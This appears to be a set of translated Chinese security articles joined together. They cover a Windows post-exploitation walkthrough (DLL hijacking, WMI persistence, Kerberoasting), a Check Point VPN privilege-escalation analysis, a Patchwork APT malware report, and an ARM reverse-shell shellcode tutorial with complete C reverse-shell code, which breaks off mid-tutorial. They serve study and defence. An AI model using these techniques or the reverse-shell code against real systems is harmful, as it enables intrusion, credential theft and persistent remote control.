凭借在目标环境中的立足点和一个已经建立的通信隧道，攻击者将迅速行动，会偷取信息、尝试寻找途径去渗透其它系统、获得高权限。在Ruben
Boonen维护的网站fuzzysecurity.com中，有一篇[非常全面的文章](http://www.fuzzysecurity.com/tutorials/16.html)，他描述了在Windows系统中用于提升权限的多个不同的方法。另一个很好的资源是Kostas
Lintovois写的“[Windows Services – All roads lead to
SYSTEM](https://labs.mwrinfosecurity.com/assets/1089/original/Windows_Services_-_All_roads_lead_to_SYSTEM-1.1-oct15.pdf)”，他描述了多个利用配置错误来提升权限的方法。这些技术对攻击者是很有用的，因为在很多组织中，正常用户是没有管理员权限的。管理员权限是所有攻击者在一个企业环境中的目标，因为它会有利于攻击工作。
很多由Ruben和其它人写的这种技术，已经被集成在后渗透框架中，如PowerSploit里的PowerUp.ps1模块，它最早是由Will
Schroeder开发的，Will
Schroeder是一个才华横溢的安全专家，近年来他发布了一些强大的工具，PowerSploit包含了很多好用的模块和脚本，可以在攻击生命周期的所有阶段提供帮助。PowerUp模块能帮助攻击者发现系统中可能存在的能成功提权的条件，这个条件可以允许攻击者使用一种技术，从而使他们得到一个高权限账户。所有这些都使用了PowerShell，并且在[PowerShell扩展](http://www.darkoperator.com/blog/2016/4/2/meterpreter-new-windows-powershell-extension)的帮助下，在Meterpreter中也能执行PowerShell脚本，目前该扩展已经集成到了Metasploit([1](https://github.com/rapid7/metasploit-payloads/pull/89)，[2](https://github.com/rapid7/metasploit-payloads/pull/87))中，这意味着，攻击者可以在Metasploit下执行PowerShell。你可以在[Will
Schroeder](https://twitter.com/harmj0y)的博客中读一下更多关于PowerUp的信息，并且你可以从这里得到PowerUp的速查表。
下面的图片展示了这种攻击方法，当攻击者在目标环境中得到一个立足点后–通过钓鱼邮件–确定他所在的操作账户没有足够的权限，不能运行一些额外的模块，如Mimikatz。Mimikatz是一个用C写的后渗透工具，关于它的用法
，你可以读一下“[Mimikatz非官方指导和命令参考](https://adsecurity.org/?page_id=1821)”和[这篇文章](https://countuponsecurity.com/2014/07/02/the-path-to-the-golden-ticket/)。然而，Meterpreter包含了一个PowerShell模块，该模允许攻击者执行PowerShell命令。在这种情况下，攻击者可以加载PowerShell模块，并执行必要的命令从Gitbug上下载P[owerUp](https://github.com/HarmJ0y/CheatSheets)模块，然后执行Invoke-AllChecks命令。在写这篇文章的时候，PowerUp模块包含14个检查项目：
在本案例中，如上图所示，PowerUp模块的运行结果显示，可以通过DLL劫持来提升权限。实际上，该系统包含了一个任意用户可写的目录，且这个目录在“%PATH%”环境变量中，攻击者可以利用DLL的搜索顺序，通过DLL劫持去获得系统权限。在本安例中，PowerUp模块建议使用“wlbsctrl.dll”。为了使这个DLL能工作，“IKE
and AuthIP IPsec Keying
Modules”服务必须是运行的，但是在企业环境中，在工作站中安装了VPN客户端是很常见的。这个漏洞是2012年“High-Tech Bridge
Security Research Lab”发现的，该漏洞利用了Windows服务“IKE and AuthIP IPsec Keying
Modules”，它在启动时会尝试加载“wlbsctrl.dll”动态链接库，而这个动态链接库在默认安装的Windows中是不存在的。这个提权技术是如何实现的？为什么会存在这种漏洞呢？Parvez
Anwar给出了很好的解释。
因此，根据上面的发现，我们现在有了一个提权思路，下一步，攻击者需要创建一个和目标系统架构相匹配的DLL(后门)，并要命名为“wlbsctrl.dll”，使用msfvenom能很容易的生成它。如下图所示：
另一个利用这种技术的方法是使用PowerUp.ps1模块的“Write-HijackDll”函数。该函数能创建“wlbsctrl.dll”，并会将该DLL放到刚才发现的可写目录中，当服务启动时，它会首先加载这个DLL，并会使用预定义的密码，向本地管理员组添加一个用户。
使用PowerShell需要注意的一点是，在某些安全限制比较严的系统中，PowerShell脚本可能会被阻止运行。然而，在这种情况下，攻击者可以使用其它的技术，和使用其它的工具，比如Portuculis
Lab写的“PowerOPS: PowerShell for Offensive Operations”工具，它的灵感来自于Cn33liz写的“
PowerShell Runspace Post Exploitation Toolkit”。
然后，攻击者将DLL上传到预期的文件夹后，可以强制重启机器、或等待系统重启。当系统重启时，IKEEXT服务会启动，并会加载该恶意DLL，该DLL会将一个命令和控制隧道反馈给攻击者的系统，并且是系统权限。下图展示了将DLL上传到低权限目录的过程，并且该目录是“%PATH%”变量的一部分。然后，它返回了命令和控制隧道，说明IKEEXT服务已经重新启动了。因为这时已经拥有了高权限，攻击者可以继续，并开始使用强大的Mimikatz模块。首先，他可以通过使用Kerberos命令来获取明文凭据。
**安装和C2**
有很多用于攻击者完成持久化的技术和工具，但是在这个安例中，我们给出一个持久化的例子，该例子使用了[WMI](http://wordpress.redirectingat.com/?id=725X1342&site=countuponsecurity.wordpress.com&xs=1&isjs=1&url=https%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Flibrary%2Faa394582\(v%3Dvs.85\).aspx&xguid=56f26e250f4cfe4cd95856f5de625a26&xuuid=31cd8d0e7db73570b8b630e76013879e)，并结合了PowerShell、和Metasploit的一个载荷。
WMI近年来在攻击者中很流行。Matt
Graeber在BlackHat15上给出了一个很好的[演示](https://www.google.ch/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjLwtr56ajSAhWGVxQKHfX2DLgQFggcMAA&url=https%3A%2F%2Fwww.blackhat.com%2Fdocs%2Fus-15%2Fmaterials%2Fus-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build)：使用WMI(Windows
Management Instrumentation)建立一个持久、异步、且无文件的后门。另外，William Ballenthin，Matt
Graeber和Claudiu Teodorescu写了一篇很好的文章，叫做“WMI的攻击与防御”。除此之外，你可以读一下NCCIC/ICS-CERT的“WMI探测与响应”这篇文章。
因此。攻击者为了获得持久性，它可以使用WMI，WMI将会被作为一个媒介物，会在特定的事件下去触发一个载荷，这个事件可以是发生在系统级的一个特殊的计划任务，或是一个事件，如登录或一个WMI支持的事件。该载荷会利用PowerShell去执行一个被称为反射DLL注入技术，从而反弹连接到攻击者的系统，并注入Metasploit
Meterpreter，想了解更多的关于反射DLL注入技术，请读一下Dan
Staples的这篇文章及其参考。和攻击者域名的通信利用了HTTPS。总体而言，攻击者将只使用Windows的内置功能并结合了Metasploit。使用的这些不同工具和技术导致了更强大的攻击，这种攻击很难被探测到。此外，这种技术是在内存中实施的，不会接触硬盘，因为它在内存中使用了一个PE加载者去加载DLL，并且没有使用传统的LoadLibraryA()方法。该持久机制存储在WMI存储库中，这无形之中也阻止了防御者的很多的检测行为。
为了生成载荷，攻击者可以使用msfvenom。下图展示了如何使用msfvenom生成带有PowerShell格式的反射DLL注入载荷：
下一步是将这个载荷武器化，用它生成一个托管对象格式(MOF)脚本
下一步，攻击者将会用到托管对象格式(MOF)编译器，目标机器上的Mofcomp.exe，这个实用程序将会解析包含MOF声明的文件，并将文件中定义的类和类的实例添加到WMI存储库。更多关于MOF的知识请看一下这篇好文章“Playing
with MOF files on Windows, for fun & profit”。然后，一系列的wmic.exe命令可以用来查看不同类的内容。
这些命令是在Meterpreter会话中执行的，Meterpreter会话是由DLL劫持技术建立的。于是，攻击者可以覆盖他的跟踪、删除恶意MOF，并继续前进。当WMI事件被触发时，载荷会被调用，然后一个返回攻击者系统的Meterpreter会话会被建立。此时，攻击者已经有了一个持久化机制，并在目标环境中以一个特权帐户运行着。
**目标上的活动**
传统的横向运动使用了各种命令和工具，如net.exe和wmic.exe。现在，您可以将PowerShell添加到各种组合中，更具体的说，你可以使用William
Schroeder开发的PowerView工具，它是PowerSploit工具的一部分。PowerView是一个用PowerShell编写的高级活动目录枚举工具，允许攻击者收集大量关于企业Windows环境的信息。这里列举了更多PowerView的使用方法。再一次，我们可以从Meterpreter会话中加载PowerView。在这个案例中，该会话已经有了系统权限，并利用WMI获得了持久性，但是PowerView可以运行在普通账户下，如下图所示：
PowerView中的可用函数在这里可以看到，它的速查表可以看这里。攻击者可以利用PowerShell命令来枚举活动目录的不同方面，和不同的系统。为了执行这些操作，攻击者可以利用PowerView中的不同技术和模块。对于它的用法，William
Schroeder写的“I have the power view”对这个问题进行了不错的总结。
黑客也可以利用Kerberoasting技术，该技术是由Tim medin开发的，我推荐你看一下他的演示“Attacking Kerberos –
Kicking the Guard God of
Hades”，这里有利用Kerberos的一些方法。这个技术已经加到了PowerView里面，利用该技术“在包含SPN的活动目录中”列出所有用户账户会很简单，它会请求Kerberos票据和提取加密素材。然后，在离线环境中对它进行破译，并获得明文密码。你可以在William写的两篇文章中了解一下关于该技术的更多情况(1，2)，下图展示的就是Kerberoasting技术：
在获得HASH以后，你可以使用“John the Ripper”去破译它的密码，需要使用Krb5tgs的HASH格式。
另一个攻击方法是在活动目录中找到不需要Kerberos预身份认证的账户，即启用了PreAuthNotRequire
属性。你可以读一下这篇文章(“Kerberos Party Tricks: Weaponizing Kerberos Protocol
Flaws”)了解一下该技术的具体信息。实际上，该技术列出了所有具有该属性的账户，并向这些账户请求了一个Kerberos票据。这个票据包含了加密素材，通过离线破译这个加密素材可以恢复出原始密码。再说一次，这个技术已经添加到了PowerView里面，关于它的更多信息，你可以读一下[这篇文章](http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)。
最后，如果这个技术没起作用，攻击者可以试试每一个系统，直到找到一个他能获得管理员权限的系统，然后继续渗透，直到拿到域管理员权限。在大网络环境中，这可能是一个艰巨的任务，在这里再说一次，William
Schroeder已经将这些步骤集成在了一系列PowerView模块中，就连它们的名称也采用了猎人的词语，如Invoke-UserHunter、Invoke-StealthUserHunter，以及其它能对搜索高价值目标有帮助的模块。你可以看一下他的演示“[I hunt
sysadmins](http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/)”，能帮助你更好的理解这个模块的幕后工作。Justin Warner是PowerShell
Empire的创始人之一，他写了一篇伟大的文章，解释了这些模块是如何工作的，并进一步将他解释的这个技术命名为“[derivative local
admin](http://www.sixdub.net/?p=591)”。这个技术被Andy
Robbins改进的更加的自动化了，起初只是一个概念证明，叫做PowerPath，它利用了“寻找两点之间的最短路径”算法。Andy随后和Rohan
Vazarkar、Will Schroeder一块工作，他们将工作集中在了BloodHound工具上。该工具在DEF CON
24上已经开源了。基于此，这些才华横溢的、使用了不同工具和技术的入侵者很有可能会成功获得一个高权限账户。
于是，攻击者可以利用netsh.exe的端口转发功能，或Meterpreter的端口代理命令，在内部系统之间穿梭。通常，攻击者想利用一个内部系统作为跳板时会使用这种技术，这允许攻击系统访问那些无法直接访问的机器。下图中的命令展示了这个技术，在受害人机器上配置好端口转发命令后，攻击者可以使用wmic.exe去发起远程系统中的PowerShell，然后回连到攻击者的系统上，并建立一个Meterpreter会话：
从此时起，攻击工作就进入了一个循环，列举弱点-利用它们-入侵系统-横向运行-重复。这个循环不断重复，直到攻击者达成了自己的目标。关于这些技术，及其它的一些技术，在[Raphael
Mudge](https://twitter.com/armitagehacker?lang=en)写的[一篇文章](https://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/)里已经列举出来了，这个人是Cobalt Strike的作者。
**总结**
在这篇文章中，我们涵盖了不同攻击阶段使用的不同工具和技术，使用这些技术的不仅有安全专家，也有网络犯罪份子、APT团伙。在此之后，我会问大家：你如何检测、预防和应对每一个在这个攻击场景中描述的步骤呢？ | 社区文章 |
# CVE-2019-8452：Check Point VPN本地提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 bordplate，文章来源：bordplate.no
原文地址：<https://bordplate.no/blog/en/post/check-point-file-permissions-overwrite/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
几个月之前，我在[Check Point Endpoint Security
VPN](https://www.checkpoint.com/products/remote-access-vpn/)客户端中找到了一个`DACL`权限覆盖漏洞。利用该漏洞，Windows系统上的任意用户可以设置任意文件的权限，使`Authenticated
Users`安全组具备该文件的`Full
Control`权限（这里唯一的限制在于`SYSTEM`用户需要具备该文件的编辑权限，因此`TrustedInstaller`所属的某些系统文件无法通过这种方式覆盖）。
在Windows系统上，这个VPN客户端主要包含两个组件：以`SYSTEM`权限运行的一个Windows服务以及以当前用户身份运行的一个客户端。对于该漏洞，除了重启服务之外，我们并不需要与这个服务执行太多交互操作。然而我的确分析过用户客户端与服务之间的通信行为，发现该VPN使用的是比较有趣的一种[自定义RPC协议](https://twitter.com/bordplate/status/1096023450093830145)，值得进一步研究。
虽然这个漏洞的确是我自己挖掘出来的，但已经有人先我一步向Check Point反馈了相关情况。Check
Point于2019年4月16日[修复](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk150012)了该漏洞。
## 0x01 漏洞描述
“Check Point Endpoint Security VPN”服务在启动时，会对`C:\Windows\Internet
Logs`目录下的所有文件执行权限重置操作。重置完成后，`Authenticated Users`就具备这些文件的`Full
Control`权限，这意味着系统上的任意用户都可以具备这些文件的写入、读取以及修改权限。此外，该服务还将设置`Internet Logs`目录的`Full
Control`权限。无论`Internet Logs`目录下具体包含哪些内容，无论这些文件具体来源如何，该服务都会执行这种权限重置操作。
在Windows系统上，我们可以创建[硬链接（hard
links）](https://en.wikipedia.org/wiki/Hard_link)。简而言之（具体情况会更加复杂），我们可以把硬链接看成另一个文件的副本，在副本上执行的任意操作都会影响到原始文件，反之亦然。这意味着如果我们能创建某个文件的硬链接，并且在硬链接上设置权限，那么这些权限也会反馈到原始文件上。系统有个内置的命令行工具（`mklink`）能够创建硬链接，然而该工具要求创建硬链接的用户需要具备“原始”文件的写入权限。来自Google
Project Zero的[James
Forshaw](https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html)发现这实际上并不是必须满足的一个条件。`mklink`使用的是Windows系统中的[`CreateHardlinkW`](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createhardlinkw)
API，强制检查是否具备写入权限，如果具备相应权限，再去调用[`NtSetInformationFile`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntsetinformationfile)。然而如果我们直接使用`NtSetInformationFile`，就可以绕过写入权限检查机制。James
Forshaw在一篇文章中详细介绍了这种绕过方法，并且表示除非应用程序运行在沙箱环境中，否则这种方法可以行之有效。
这意味着如果我们从`C:\Windows\Internet
Logs`目录中创建硬链接，指向`SYSTEM`具备编辑权限的任意文件，那么当权限重置操作完成后，系统上的任意用户就能覆盖该文件。通过这种方法，普通用户账户就可以实现权限提升。
## 0x02 Poc
首先，我们需要找到待覆盖的某个文件，并且可以通过该文件实现权限提升。我们可以通过计划任务梳理以`SYSTEM`权限运行的任务，这是比较好的一个切入点。
Google
Update计划任务是非常好的一个目标，该任务以`SYSTEM`权限运行，运行时间能够预测（任意用户登录时），并且`SYSTEM`权限能够修改并写入该任务对应的可执行文件。
接下来我们需要从`C:\Windows\Internet Logs`中创建指向Google
Update可执行文件的一个硬链接。这里我们可以使用FuzzySecurity提供的`PowerShell-Suite`，其中包含一个非常方便的PowerShell脚本（[Native-HardLink](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Native-HardLink.ps1)），通过该脚本我们能直接利用`NtSetInformationFile`创建所需的硬链接。我们可以导入该脚本，然后创建指向Google
Update程序的硬链接，如下所示：
现在我们可以看到两个目录中都出现了对应的可执行文件。
接下来，由于普通用户账户无法重启Check
Point服务，我们可以重启目标主机，从而重启该服务。当系统启动时，可以看到`GoogleUpdate.exe`的权限已经更新，现在我们可以以普通用户身份覆盖该程序。
为了演示方便，这里我们将这个程序替换成一个反弹shell。注销后再次登录，我们就能获取具备`SYSTEM`访问权限的一个shell。
整个攻击操作可参考[此处视频](https://bordplate.no/blog/en/videos/CheckPointPOC.mp4)。 | 社区文章 |
# 摩诃草组织最新漏洞攻击样本分析及预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
摩诃草组织（APT-C-09），又称HangOver、VICEROY TIGER、The Dropping
Elephant、Patchwork，是一个来自于南亚地区的境外APT组织，该组织已持续活跃了7年。摩诃草组织最早由Norman安全公司于2013年曝光，随后又有其他安全厂商持续追踪并披露该组织的最新活动，但该组织并未由于攻击行动的曝光而停止攻击，相反从2015年开始更加活跃。360持续对摩诃草组织的攻击进行了监控，从2015年至今发现了其6次以上的大型攻击行动。
近期，360高级威胁应对团队监控到了摩诃草组织从2017年11月至12月初的多起活跃攻击，攻击目标主要针对中国部分地区和南亚区域的国家机构，我们对截获的攻击样本进行了详细的技术分析，确认该样本是2016年360追日团队曝光的该组织FakeJLI后门进阶版本。摩诃草组织的网络武器正在不断升级，持续发起新的攻击，请相关机构和单位提高警惕。本文分析了样本的完整攻击流程，帮助大家进一步了解高级威胁攻击。
## 样本攻击流程简介
此次攻击的样本使用了内核提权漏洞进行沙箱逃逸、白利用执行DLL荷载、COM对象创建计划任务、Github公共资源更新C&C等技术，主要攻击流程如下图所示：
图1
## 攻击技术特点分析
### 1\. EPS进程沙箱逃逸
在Office
2010及其高版本上的EPS脚本过滤器进程fltldr.exe被保护在低权限沙盒中，要攻破其中的低权限沙盒保护措施，攻击者需要使用远程代码执行漏洞配合内核提权漏洞进行组合攻击。今年上半年俄罗斯相关APT组织Turla、APT28使用了该模式的0day漏洞组合攻击，被曝光的是EPS脚本远程代码执行漏洞（CVE-2017-0261、CVE-2017-0262）和windows内核提权漏洞（CVE-2017-0001
、CVE-2017-0263）四个漏洞的组合，而摩诃草组织则在今年下半年跟进使用了相关漏洞。
首先，在我们的沙箱中监控到了摩诃草样本的提权攻击，经过分析发现摩诃草样本通过EPS “restore”操作UAF漏洞（cve-2017-0261）和
Win32k.sys本地权限提升漏洞（cve-2016-7255）进行组合攻击。
图2
当打开Office文档时，EPS脚本过滤器fltldr.exe就会渲染其中的恶意EPS脚本，通过EPS脚本漏洞（cve-2017-0261）执行任意代码，漏洞关键伪代码如下：
图3
漏洞执行的Shellcode会落地释放PE荷载，并在内存中进行提权操作，提权过程是在内存中加载执行一个带提权函数的DLL荷载，其提权流程使用的是CVE-2016-7255漏洞。
图4
图5
### 2\. Vmware白利用执行Dll荷载
接下来，落地释放的PE荷载开始创建白进程攻击链，用于逃避安全软件的查杀监控。恶意荷载通过Vmware签名白文件，加载执行同目录下释放的vmtools.dll文件，来执行下一阶段的后门安装任务。
图6
vmtools.dll是后门安装程序，其对应的导出函数是后门安装代码
图7
### 3\. 使用COM对象创建计划任务
该处功能比较新颖，使用ITaskService对象以无进程的方式添加计划任务，并实现最终的后门驻留。代码逻辑与MSDN提供的例程代码
（<https://msdn.microsoft.com/en-us/library/windows/desktop/aa446817(v=vs.85).aspx>
）相近，如程序中的COM对象和关键参数伪代码：
CLSID_TaskScheduler {0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
图8
IID_ITaskService {2FABA4C7-4DA9-4013-9697-20CC3FD40F85}
图9
攻击利用计划任务实现后门程序的驻留，程序将
C:\ProgramData\Microsoft\DeviceSync\MSBuild.exe设置为计划任务开机启动
图10
设置程序开机1分钟后执行
图11
计划任务名为BaiduUpdateTask1
图12
之后会尝试将%AppData%\\\Microsoft Updates\\\MsUpdte.exe设置为计划任务启动
图13
其计划任务名为BaiduUpdateTaskServer
图14
时间同样为开机1分钟后执行
图15
## 后门主要功能分析
该后门程序与2016年所曝光的摩诃草组织FakeJLI后门在主要代码逻辑上完全一致。
如FakeJLI 在2016年版本中使用的临时文件名称
新版MSBuild中使用的临时文件名称与老版完全相同
### 1.建立互斥体
后门程序在启动时隐藏了自身窗口，创建了名为 com_mycompany_apps_appname_new
的互斥体，如果存在该互斥体，则退出程序，防止重复运行。
图16
图17
### 2.遍历导出表方式调用API函数
后门程序没有使用系统函数GetProcAddress获取API地址，在获取了对应DLL基址后，会采用了自己遍历导出表的方式寻找导出函数地址，比如收集本机信息功能：
图18
图19
图20
### 3.键盘记录功能
后门程序拥有键盘记录功能，通过调用GetAsyncKeyState函数实现，所有记录存放在Temp目录的TPX498.dat文件中
图21
### 4.窃取机密文档
后门程序会截取电脑中的机密文档，通过递归遍历本地磁盘，将其中符合下述后缀的文件名
记录在Temp目录下的edg499.dat中。
图22
### 5.其他控制指令
进一步的我们还发现了其他控制指令，主要指令如下：
指令号 | 功能
---|---
0 | 退出进程
8 | 上传键盘记录文件TPX498.dat
23 | 获取屏幕截图到TPX499.dat，上传后删除
13 | 读取指定文件前128个字节到AdbFle.tmp中并上传
4 | 上传文件列表文件edg499.dat
5 | 上传指定名称的文件
33 | 下载指定文件并执行
|
## C&C地址解密分析
该后门程序在C&C获取上均使用了第三方可信网站中转的方式， 老版本FakeJLI在论坛网页中放入C&C地址的异或加密字符串进行C&C更新。
图23
而此次攻击使用的格式为RSS XML格式
图24
在解密算法上，异或算法两个版本是一致的
图25
但是新版比老版多了一层Blowfish 算法加密
图26
而关键的攻击C&C地址更新及控制是使用Github，从Git的提交记录我们发现攻击者从10月和11月起就分别开始筹备了两次攻击，最后通过关联反溯我们还发现了其他的大量C&C地址。
图27
## 总结
APT组织的攻击不会因为一次攻击行动的暴露或失败，而导致该组织停止活动或放弃目标，由于相关恶意代码、C&C等暴露的确会给相关组织带来一定影响。但该组织在重新配备资源，调整好相关战术和技术后，又会发动新的攻击。此次分析的样本是摩诃草组织近期针对网络武器进行升级后，发起的一轮新攻击。针对摩诃草等APT组织的持续攻击威胁，我们会一直与之抗衡。 | 社区文章 |
# 用ARM编写TCP Reverse Shell
##### 译文声明
本文是翻译文章，文章原作者 azeria-labs，文章来源：azeria-labs.com
原文地址：<https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit>
译文仅供参考，具体内容表达以及含义原文为准。
在本教程中，你将学习如何编写没有空字节的TCP反向shellcode。如果你想从小处开始，你可以学习如何在汇编中编写一个[简单的execve（）shell](https://azeria-labs.com/writing-arm-shellcode/)，然后再深入研究这个稍微更广泛的教程。如果你需要重新了解Arm，请查看我的[ARM
Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)教程系列，或者使用以下备忘单（[点击查看大图](https://s2.ax1x.com/2019/03/26/AUfVp9.png)）：
在开始之前，我想提醒你，你正在创建ARM
shellcode，因此如果你还没有ARM实验环境，则需要建立一个环境。你可以自己搭建（[使用QEMU模拟Raspberry
Pi](https://azeria-labs.com/emulate-raspberry-pi-with-qemu/)）或节省时间并下载我创建的现成的Lab VM（[ARM Lab VM](https://azeria-labs.com/arm-lab-vm/)）。
## 开始：了解反向shell
首先，什么是反向shell？它是如何工作的？反向shell强制内部系统主动连接到外部系统。在这种情况下，你的机器有一个监听端口，它在该端口上接收从目标系统返回的连接。
由于目标网络的防火墙更难以阻止传出连接，因此可以通过使用反向shell（与bind shell相反，bind
shell要求在目标系统上允许传入连接）来利用这种错误配置 。
这是我们将解释的C语言代码。
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void)
{
int sockfd; // socket file descriptor
socklen_t socklen; // socket-length for new connections
struct sockaddr_in addr; // client address
addr.sin_family = AF_INET; // server socket type address family = internet protocol address
addr.sin_port = htons( 1337 ); // connect-back port, converted to network byte order
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // connect-back ip , converted to network byte order
// create new TCP socket
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
// connect socket
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
// spawn shell
execve( "/bin/sh", NULL, NULL );
}
## 第一阶段：系统功能及其参数
第一步是确定必要的系统功能、参数和系统调用号。查看上面的代码，我们可以看到我们需要以下函数：socket，connect，dup2，execve。你可以使用以下命令计算出这些函数的系统调用号：
pi @ raspberrypi：〜/ bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket
#define __NR_socketcall（__ NR_SYSCALL_BASE + 102）
#define __NR_socket（__ NR_SYSCALL_BASE + 281）
#define __NR_socketpair（__ NR_SYSCALL_BASE + 288）
#undef __NR_socketcall
这些是我们需要的所有系统调用号码：
#define __NR_socket (__NR_SYSCALL_BASE+281)
#define __NR_connect (__NR_SYSCALL_BASE+283)
#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
每个函数所需的参数可以在[linux手册页](http://man7.org/linux/man-pages/index.html)或[w3challs.com](https://w3challs.com/syscalls/?arch=arm_strong)上[查找](https://w3challs.com/syscalls/?arch=arm_strong)。
Function | R7 | R0 | R1 | R2
---|---|---|---|---
Socket | 281 | int socket_family | int socket_type | int protocol
Connect | 283 | int sockfd | const struct sockaddr *addr | socklen_t addrlen
Dup2 | 63 | int oldfd | int newfd | –
Execve | 11 | const char *filename | char *const argv[] | char *const envp[]
下一步是弄清楚这些参数的具体值。一种方法是使用strace查看成功的反向shell连接。Strace是一种工具，可用于跟踪系统调用并监视进程与Linux内核之间的交互。让我们使用strace来测试我们的正向shell的C版本。为了减少干扰，我们将输出限制在我们感兴趣的功能范围内。
Terminal 1:
pi@raspberrypi:~/reverseshell $ gcc reverse.c -o reverse
pi@raspberrypi:~/reverseshell $ strace -e execve,socket,connect,dup2 ./reverse
Terminal 2:
user@ubuntu:~$ nc -lvvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [192.168.139.130] port 4444 [tcp/*] accepted (family 2, sport 38010)
这是我们的strace输出：
pi @ raspberrypi：〜/ reverseshell $ strace -e execve，socket，connect，dup2 ./reverse
execve（“./ reverse”，[“。/ reverse”]，[/ * 49 vars * /]）= 0
socket（PF_INET，SOCK_STREAM，IPPROTO_IP）= 3
connect（3，{sa_family = AF_INET，sin_port = htons（4444），sin_addr = inet_addr（“192.168.139.130”）}，16）= 0
dup2（3,0）= 0
dup2（3,1）= 1
dup2（3,2）= 2
execve（“/ bin / sh”，[0]，[/ * 0 vars * /]）= 0
现在我们可以填补空白并记下我们需要传递给程序集bind shell函数的值。
Function | R7 | R0 | R1 | R2
---|---|---|---|---
Socket | 281 | 2 | 1 | 0
Connect | 283 | sockid | (struct sockaddr*) &addr | 16
Dup2 | 63 | sockid | 0 / 1 / 2 | –
Execve | 11 | “/bin/sh” | 0 | 0
## 第二阶段：逐步解释
在第一阶段，我们回答了以下问题，以获得我们的装配程序所需的一切：
1. 我需要哪些功能？
2. 这些功能的系统调用号是什么？
3. 这些函数的参数是什么？
4. 这些参数的值是什么？
将每个函数拆分为单独的块并重复以下过程：
1. 找出要用于哪个参数的寄存器
2. 弄清楚如何将所需的值传递给这些寄存器
1. 如何将即时值传递给寄存器
2. 如何在不直接将＃0移入其中的情况下使寄存器无效（我们需要在代码中避免使用空字节，因此必须找到其他方法来使寄存器或内存中的值无效）
3. 如何使寄存器指向存储器中存储常量和字符串的区域
使用正确的系统调用号来调用该函数并跟踪寄存器内容的更改
1. 请记住，系统调用的结果将落在r0中，这意味着如果需要在另一个函数中重用该函数的结果，则需要在调用函数之前将其保存到另一个寄存器中。
2. 示例： **sockfd = socket（** 2,1,0） – ？？?socket的结果（sockfd）将落在r0中。此结果在 **dup2（sockid，0）** 等其他函数中重用，因此应保存在另一个寄存器中。
### 0 – 切换到Thumb模式
要降低遇到空字节的可能性，首先应该使用Thumb模式。在Arm模式下，指令为32位，在Thumb模式下，指令为16位。这意味着我们可以通过简单地减小指令的大小来减少使用空字节的可能。如何切换到Thumb模式：ARM指令必须是4字节对齐的。要将模式从ARM更改为Thumb，请将下一条指令地址（在PC中找到）的LSB（最低有效位）设置为1，方法是将PC寄存器的值加1并将其保存到另一个寄存器。然后使用BX（分支和交换）指令分支到另一个寄存器，该寄存器包含LSB设置为1的下一条指令的地址，这使得处理器切换到Thumb模式。这一切都可以归结为以下两条说明。
.section .text
.global _start
_start:
.ARM
add r3, pc, #1
bx r3
从这里开始你将编写Thumb代码，因此需要在代码中使用THUMB指令。
### 1 – 创建新Socket
这些是socket调用参数所需的值：
root@raspberrypi:/home/pi# grep -R "AF_INET|PF_INET |SOCK_STREAM =|IPPROTO_IP =" /usr/include/
/usr/include/linux/in.h: IPPROTO_IP = 0, // Dummy protocol for TCP
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1, // Sequenced, reliable, connection-based
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2 // IP protocol family.
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET
设置参数后，使用svc指令进行socket 系统调用。这个调用的结果将是我们的 **sockid**
并将最终落在r0。既然我们以后需要sockid，就把它保存到r4吧。
在ARMv7+中，您可以使用movw指令，并将任何即时值输入寄存器。在ARMv6中，不能简单地将任何直接值移动到寄存器中，而必须将其分成两个较小的值。如果你对这个细微差别的更多细节感兴趣，可以在[Memory
Instructions](https://azeria-labs.com/memory-instructions-load-and-store-part-4/) ]章节（最后）中找到一节。
为了检查我是否可以使用某个即时值，我写了一个名为[rotator.py](https://raw.githubusercontent.com/azeria-labs/rotator/master/rotator.py)的小脚本。
pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 281
Sorry, 281 cannot be used as an immediate number and has to be split.
pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 200
The number 200 can be used as a valid immediate number.
50 ror 30 --> 200
pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 81
The number 81 can be used as a valid immediate number.
81 ror 0 --> 81
最终代码段（ARMv6版本）：
.THUMB
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81 // r7 = 281 (socket syscall number)
svc #1 // r0 = sockid value
mov r4, r0 // save sockid in r4
### 2 – 连接
